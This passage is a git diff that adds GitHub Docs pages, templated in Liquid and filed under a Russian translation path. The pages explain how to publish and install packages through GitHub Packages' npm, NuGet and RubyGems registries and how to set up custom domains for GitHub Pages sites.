access permissions, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." +{% endif %} + +{% data reusables.package_registry.viewing-packages %} + +### Publishing a package using a local *.npmrc* file + +You can use an *.npmrc* file to configure the scope mapping for your project. In the *.npmrc* file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an *.npmrc* file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}. + +{% data reusables.package_registry.authenticate-step %} +{% data reusables.package_registry.create-npmrc-owner-step %} +{% data reusables.package_registry.add-npmrc-to-repo-step %} +1. Verify the name of your package in your project's *package.json*. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your *package.json* should be `@my-org/test`. +{% data reusables.package_registry.verify_repository_field %} +{% data reusables.package_registry.publish_package %} + +### Publishing a package using `publishConfig` in the *package.json* file + +You can use `publishConfig` element in the *package.json* file to specify the registry where you want the package published. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. + +1. Edit the *package.json* file for your package and include a `publishConfig` entry. + {% ifversion ghes %} + If your instance has subdomain isolation enabled: + {% endif %} + ```shell + "publishConfig": { + "registry": "https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}" + }, + ``` + {% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```shell + "publishConfig": { + "registry": "https://HOSTNAME/_registry/npm/" + }, + ``` + {% endif %} +{% data reusables.package_registry.verify_repository_field %} +{% data reusables.package_registry.publish_package %} + +## Publishing multiple packages to the same repository + +To publish multiple packages to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the *package.json* file for each package. + +To ensure the repository's URL is correct, replace REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. + +{% data variables.product.prodname_registry %} will match the repository based on the URL, instead of based on the package name. + +```shell +"repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY", +``` + +## Installing a package + +You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the *package.json* file for your project. For more information on using a *package.json* in your project, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" in the npm documentation. + +By default, you can add packages from one organization. For more information, see "[Installing packages from other organizations](#installing-packages-from-other-organizations)." + +You also need to add the *.npmrc* file to your project so that all requests to install packages will {% ifversion ghae %}be routed to{% else %}go through{% endif %} {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from *npmjs.org*. For more information, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation.{% endif %} + +{% ifversion ghae %} +By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org. +{% endif %} + +{% data reusables.package_registry.authenticate-step %} +{% data reusables.package_registry.create-npmrc-owner-step %} +{% data reusables.package_registry.add-npmrc-to-repo-step %} +1. Configure *package.json* in your project to use the package you are installing. To add your package dependencies to the *package.json* file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from *npmjs.com*, specify the full name, such as `@babel/core` or `@lodash`. Replace `<organization_name>/<package_name>` with your package dependency. + + ```json + { + "name": "@my-org/server", + "version": "1.0.0", + "description": "Server app that uses the <organization_name>/<package_name> package", + "main": "index.js", + "author": "", + "license": "MIT", + "dependencies": { + "<organization_name>/<package_name>": "1.0.0" + } + } + ``` +5. Install the package. + + ```shell + $ npm install + ``` + +### Installing packages from other organizations + +By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your *.npmrc* file, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %} and {% endif %}*OWNER* with the name of the user or organization account that owns the repository containing your project. + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```shell +@OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} +@OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```shell +@OWNER:registry=https://HOSTNAME/_registry/npm +@OWNER:registry=https://HOSTNAME/_registry/npm +``` +{% endif %} + +{% ifversion ghes %} +## Using the official NPM registry + +{% data variables.product.prodname_registry %} allows you to access the official NPM registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official NPM registry](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry). +{% endif %} diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md new file mode 100644 index 000000000000..9e13e1e527f8 --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md @@ -0,0 +1,239 @@ +--- +title: Working with the NuGet registry +intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-nuget-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-nuget-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-nuget-for-use-with-github-packages + - /github/managing-packages-with-github-packages/configuring-dotnet-cli-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-dotnet-cli-for-use-with-github-packages + - /packages/guides/configuring-dotnet-cli-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: NuGet registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +### Authenticating with `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} + +Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a {% data variables.product.pat_generic %} in a nuget.config file in the repository: + +```shell +dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" +``` + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a {% data variables.product.pat_generic %} + +{% data reusables.package_registry.required-scopes %} + +To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a *nuget.config* file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client. + +You must replace: +- `USERNAME` with the name of your personal account on {% data variables.product.prodname_dotcom %}. +- `TOKEN` with your {% data variables.product.pat_v1 %}. +- `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes or ghae %} +- `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %} + +{% ifversion ghes %}If your instance has subdomain isolation enabled: +{% endif %} + +```xml +<?xml version="1.0" encoding="utf-8"?> +<configuration> + <packageSources> + <clear /> + <add key="github" value="https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" /> + </packageSources> + <packageSourceCredentials> + <github> + <add key="Username" value="USERNAME" /> + <add key="ClearTextPassword" value="TOKEN" /> + </github> + </packageSourceCredentials> +</configuration> +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```xml +<?xml version="1.0" encoding="utf-8"?> +<configuration> + <packageSources> + <clear /> + <add key="github" value="https://HOSTNAME/_registry/nuget/OWNER/index.json" /> + </packageSources> + <packageSourceCredentials> + <github> + <add key="Username" value="USERNAME" /> + <add key="ClearTextPassword" value="TOKEN" /> + </github> + </packageSourceCredentials> +</configuration> +``` +{% endif %} + +## Publishing a package + +You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a *nuget.config* file, or by using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. + +### Publishing a package using a GitHub {% data variables.product.pat_generic %} as your API key + +If you don't already have a PAT to use for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +1. Create a new project. + ```shell + dotnet new console --name OctocatApp + ``` +2. Package the project. + ```shell + dotnet pack --configuration Release + ``` + +3. Publish the package using your {% data variables.product.pat_generic %} as the API key. + ```shell + dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --api-key YOUR_GITHUB_PAT --source "github" + ``` + +{% data reusables.package_registry.viewing-packages %} + +### Publishing a package using a *nuget.config* file + +When publishing, you need to use the same value for `OWNER` in your *csproj* file that you use in your *nuget.config* authentication file. Specify or increment the version number in your *.csproj* file, then use the `dotnet pack` command to create a *.nuspec* file for that version. For more information on creating your package, see "[Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" in the Microsoft documentation. + +{% data reusables.package_registry.authenticate-step %} +2. Create a new project. + ```shell + dotnet new console --name OctocatApp + ``` +3. Add your project's specific information to your project's file, which ends in *.csproj*. You must replace: + - `OWNER` with the name of the user or organization account that owns the repository containing your project. + - `REPOSITORY` with the name of the repository containing the package you want to publish. + - `1.0.0` with the version number of the package.{% ifversion ghes or ghae %} + - `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %} + ``` xml + <Project Sdk="Microsoft.NET.Sdk"> + + <PropertyGroup> + <OutputType>Exe</OutputType> + <TargetFramework>netcoreapp3.0</TargetFramework> + <PackageId>OctocatApp</PackageId> + <Version>1.0.0</Version> + <Authors>Octocat</Authors> + <Company>GitHub</Company> + <PackageDescription>This package adds an Octocat!</PackageDescription> + <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY</RepositoryUrl> + </PropertyGroup> + + </Project> + ``` +4. Package the project. + ```shell + dotnet pack --configuration Release + ``` + +5. Publish the package using the `key` you specified in the *nuget.config* file. + ```shell + dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --source "github" + ``` + +{% data reusables.package_registry.viewing-packages %} + +## Publishing multiple packages to the same repository + +To publish multiple packages to the same repository, you can include the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all *.csproj* project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field. + +For example, the *OctodogApp* and *OctocatApp* projects will publish to the same repository: + +``` xml +<Project Sdk="Microsoft.NET.Sdk"> + + <PropertyGroup> + <OutputType>Exe</OutputType> + <TargetFramework>netcoreapp3.0</TargetFramework> + <PackageId>OctodogApp</PackageId> + <Version>1.0.0</Version> + <Authors>Octodog</Authors> + <Company>GitHub</Company> + <PackageDescription>This package adds an Octodog!</PackageDescription> + <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octo-org/octo-cats-and-dogs</RepositoryUrl> + </PropertyGroup> + +</Project> +``` + +``` xml +<Project Sdk="Microsoft.NET.Sdk"> + + <PropertyGroup> + <OutputType>Exe</OutputType> + <TargetFramework>netcoreapp3.0</TargetFramework> + <PackageId>OctocatApp</PackageId> + <Version>1.0.0</Version> + <Authors>Octocat</Authors> + <Company>GitHub</Company> + <PackageDescription>This package adds an Octocat!</PackageDescription> + <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octo-org/octo-cats-and-dogs</RepositoryUrl> + </PropertyGroup> + +</Project> +``` + +## Installing a package + +Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from *nuget.org*. Add your package dependencies to your *.csproj* file, specifying the package name and version. For more information on using a *.csproj* file in your project, see "[Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)" in the Microsoft documentation. + +{% data reusables.package_registry.authenticate-step %} + +2. To use a package, add `ItemGroup` and configure the `PackageReference` field in the *.csproj* project file. Replace the `OctokittenApp` value in `Include="OctokittenApp"` with your package dependency, and replace the `12.0.2` value in `Version="12.0.2"` with the version you want to use: + ``` xml + <Project Sdk="Microsoft.NET.Sdk"> + + <PropertyGroup> + <OutputType>Exe</OutputType> + <TargetFramework>netcoreapp3.0</TargetFramework> + <PackageId>OctocatApp</PackageId> + <Version>1.0.0</Version> + <Authors>Octocat</Authors> + <Company>GitHub</Company> + <PackageDescription>This package adds an Octocat!</PackageDescription> + <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY</RepositoryUrl> + </PropertyGroup> + + <ItemGroup> + <PackageReference Include="OctokittenApp" Version="12.0.2" /> + </ItemGroup> + + </Project> + ``` + +3. Install the packages with the `restore` command. + ```shell + dotnet restore + ``` + +## Troubleshooting + +Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository . + +If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes. + +If you're using a `GITHUB_TOKEN` to authenticate to a {% data variables.product.prodname_registry %} registry within a {% data variables.product.prodname_actions %} workflow, the token cannot access private repository-based packages in a different repository other than where the workflow is running in. To access packages associated with other repositories, instead generate a {% data variables.product.pat_v1 %} with the `read:packages` scope and pass this token in as a secret. + +## Further reading + +- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md new file mode 100644 index 000000000000..ce03d6a5520c --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md @@ -0,0 +1,157 @@ +--- +title: Working with the RubyGems registry +intro: 'You can configure RubyGems to publish a package to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Ruby project with Bundler.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-rubygems-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-rubygems-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-rubygems-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-rubygems-for-use-with-github-packages + - /packages/guides/configuring-rubygems-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: RubyGems registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Prerequisites + +- You must have RubyGems 2.4.1 or higher. To find your RubyGems version: + + ```shell + $ gem --version + ``` + +- You must have bundler 1.6.4 or higher. To find your Bundler version: + + ```shell + $ bundle --version + Bundler version 1.13.7 + ``` + +- Install keycutter to manage multiple credentials. To install keycutter: + + ```shell + $ gem install keycutter + ``` + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a {% data variables.product.pat_generic %} + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing the *~/.gem/credentials* file for publishing gems, editing the *~/.gemrc* file for installing a single gem, or using Bundler for tracking and installing one or more gems. + +To publish new gems, you need to authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing your *~/.gem/credentials* file to include your {% data variables.product.pat_v1 %}. Create a new *~/.gem/credentials* file if this file doesn't exist. + +For example, you would create or edit a *~/.gem/credentials* to include the following, replacing *TOKEN* with your {% data variables.product.pat_generic %}. + +```shell +--- +:github: Bearer TOKEN +``` + +To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. You must replace: + - `USERNAME` with your {% data variables.product.prodname_dotcom %} username. + - `TOKEN` with your {% data variables.product.pat_v1 %}. + - `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} + - `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance. +{% elsif ghae %} + - `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}. +{% endif %} + +If you don't have a *~/.gemrc* file, create a new *~/.gemrc* file using this example. + +```shell +--- +:backtrace: false +:bulk_threshold: 1000 +:sources: +- https://rubygems.org/ +- https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/ +:update_sources: true +:verbose: true + +``` + +To authenticate with Bundler, configure Bundler to use your {% data variables.product.pat_v1 %}, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_generic %}, and *OWNER* with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's RubyGems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %}Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}.{% endif %} + +```shell +$ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER USERNAME:TOKEN +``` + +## Publishing a package + +{% data reusables.package_registry.default-name %} For example, when you publish `<GEM NAME>` to the `octo-org` organization, {% data variables.product.prodname_registry %} publishes the gem to the `octo-org/<GEM NAME>` repository. For more information on creating your gem, see "[Make your own gem](http://guides.rubygems.org/make-your-own-gem/)" in the RubyGems documentation. + +{% data reusables.package_registry.viewing-packages %} + +{% data reusables.package_registry.authenticate-step %} +2. Build the package from the *gemspec* to create the *.gem* package. + ``` + gem build <GEM NAME>.gemspec + ``` +3. Publish a package to {% data variables.product.prodname_registry %}, replacing `OWNER` with the name of the user or organization account that owns the repository containing your project and `<GEM NAME>` with the name of your gem package.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}.{% endif %} + + ``` + $ gem push --key github \ + --host https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER \ + <GEM NAME>-0.0.1.gem + ``` + +## Publishing multiple packages to the same repository + +To publish multiple gems to the same repository, you can include the URL to the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. If you include this field, {% data variables.product.prodname_dotcom %} matches the repository based on this value, instead of using the gem name.{% ifversion ghes or ghae %} Replace *HOSTNAME* with the host name of {% data variables.location.product_location %}.{% endif %} + +```ruby +gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" } +``` + +## Installing a package + +You can use gems from {% data variables.product.prodname_registry %} much like you use gems from *rubygems.org*. You need to authenticate to {% data variables.product.prodname_registry %} by adding your {% data variables.product.prodname_dotcom %} user or organization as a source in the *~/.gemrc* file or by using Bundler and editing your *Gemfile*. + +{% data reusables.package_registry.authenticate-step %} +1. For Bundler, add your {% data variables.product.prodname_dotcom %} user or organization as a source in your *Gemfile* to fetch gems from this new source. For example, you can add a new `source` block to your *Gemfile* that uses {% data variables.product.prodname_registry %} only for the packages you specify, replacing *GEM NAME* with the package you want to install from {% data variables.product.prodname_registry %} and *OWNER* with the user or organization that owns the repository containing the gem you want to install.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}.{% endif %} + + ```ruby + source "https://rubygems.org" + + gem "rails" + + source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" do + gem "GEM NAME" + end + ``` + +3. For Bundler versions earlier than 1.7.0, you need to add a new global `source`. For more information on using Bundler, see the [bundler.io documentation](https://bundler.io/gemfile.html). + + ```ruby + source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" + source "https://rubygems.org" + + gem "rails" + gem "GEM NAME" + ``` + +4. Install the package: + ``` + $ gem install <GEM NAME> --version "0.1.1" + ``` + +## Further reading + +- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" + diff --git a/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md new file mode 100644 index 000000000000..264d7bd5dcd9 --- /dev/null +++ b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md @@ -0,0 +1,71 @@ +--- +title: About custom domains and GitHub Pages +intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.' +redirect_from: + - /articles/about-custom-domains-for-github-pages-sites + - /articles/about-supported-custom-domains + - /articles/custom-domain-redirects-for-your-github-pages-site + - /articles/about-custom-domains-and-github-pages + - /github/working-with-github-pages/about-custom-domains-and-github-pages +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Pages +shortTitle: Custom domains in GitHub Pages +--- + +## Supported custom domains + +{% data variables.product.prodname_pages %} works with two types of domains: subdomains and apex domains. For a list of unsupported custom domains, see "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)." + +| Supported custom domain type | Example | +|---|---| +| `www` subdomain | `www.example.com` | +| Custom subdomain | `blog.example.com` | +| Apex domain | `example.com` | + +You can set up either or both of apex and `www` subdomain configurations for your site. For more information on apex domains, see "[Using an apex domain for your {% data variables.product.prodname_pages %} site](#using-an-apex-domain-for-your-github-pages-site)." + +We recommend always using a `www` subdomain, even if you also use an apex domain. When you create a new site with an apex domain, we automatically attempt to secure the `www` subdomain for use when serving your site's content, but you need to make the DNS changes to use the `www` subdomain. If you configure a `www` subdomain, we automatically attempt to secure the associated apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." + +After you configure a custom domain for a user or organization site, the custom domain will replace the `<user>.github.io` or `<organization>.github.io` portion of the URL for any project sites owned by the account that do not have a custom domain configured. For example, if the custom domain for your user site is `www.octocat.com`, and you have a project site with no custom domain configured that is published from a repository called `octo-project`, the {% data variables.product.prodname_pages %} site for that repository will be available at `www.octocat.com/octo-project`. +For more information about each type of site and handling custom domains, see "[Types of {% data variables.product.prodname_pages %} sites](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." + +## Using a subdomain for your {% data variables.product.prodname_pages %} site + +A subdomain is the part of a URL before the root domain. You can configure your subdomain as `www` or as a distinct section of your site, like `blog.example.com`. + +Subdomains are configured with a `CNAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)." + +### `www` subdomains + +A `www` subdomain is the most commonly used type of subdomain. For example, `www.example.com` includes a `www` subdomain. + +`www` subdomains are the most stable type of custom domain because `www` subdomains are not affected by changes to the IP addresses of {% data variables.product.product_name %}'s servers. + +### Custom subdomains + +A custom subdomain is a type of subdomain that doesn't use the standard `www` variant. Custom subdomains are mostly used when you want two distinct sections of your site. For example, you can create a site called `blog.example.com` and customize that section independently from `www.example.com`. + +## Using an apex domain for your {% data variables.product.prodname_pages %} site + +An apex domain is a custom domain that does not contain a subdomain, such as `example.com`. Apex domains are also known as base, bare, naked, root apex, or zone apex domains. + +An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)." + +{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)." + +## Securing the custom domain for your {% data variables.product.prodname_pages %} site + +{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." + +There are a couple of reasons your site might be automatically disabled. + +- If you downgrade from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, any {% data variables.product.prodname_pages %} sites that are currently published from private repositories in your account will be unpublished. For more information, see "[Downgrading your {% data variables.product.prodname_dotcom %} billing plan](/articles/downgrading-your-github-billing-plan)." +- If you transfer a private repository to a personal account that is using {% data variables.product.prodname_free_user %}, the repository will lose access to the {% data variables.product.prodname_pages %} feature, and the currently published {% data variables.product.prodname_pages %} site will be unpublished. For more information, see "[Transferring a repository](/articles/transferring-a-repository)." + +## Further reading + +- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)" diff --git a/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md new file mode 100644 index 000000000000..1271a6db150a --- /dev/null +++ b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md @@ -0,0 +1,33 @@ +--- +title: Настройка личного домена для сайта GitHub Pages +intro: 'Вы можете настроить доменное имя сайта {% data variables.product.prodname_pages %}.' +redirect_from: + - /articles/tips-for-configuring-an-a-record-with-your-dns-provider + - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site + - /articles/configuring-an-a-record-with-your-dns-provider + - /articles/using-a-custom-domain-with-github-pages + - /articles/tips-for-configuring-a-cname-record + - /articles/setting-up-a-custom-domain-with-pages + - /articles/setting-up-a-custom-domain-with-github-pages + - /articles/configuring-a-custom-domain-for-your-github-pages-site + - /github/working-with-github-pages/configuring-a-custom-domain-for-your-github-pages-site +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Pages +children: + - /about-custom-domains-and-github-pages + - /managing-a-custom-domain-for-your-github-pages-site + - /verifying-your-custom-domain-for-github-pages + - /troubleshooting-custom-domains-and-github-pages +shortTitle: Configure a custom domain +ms.openlocfilehash: defe7dee85d79462ee421705ab05bb8591b7400f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140366' +--- + diff --git a/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md new file mode 100644 index 000000000000..44bb21d7474a --- /dev/null +++ b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md @@ -0,0 +1,155 @@ +--- +title: Managing a custom domain for your GitHub Pages site +intro: 'You can set up or update certain DNS records and your repository settings to point the default domain for your {% data variables.product.prodname_pages %} site to a custom domain.' +redirect_from: + - /articles/quick-start-setting-up-a-custom-domain + - /articles/setting-up-an-apex-domain + - /articles/setting-up-a-www-subdomain + - /articles/setting-up-a-custom-domain + - 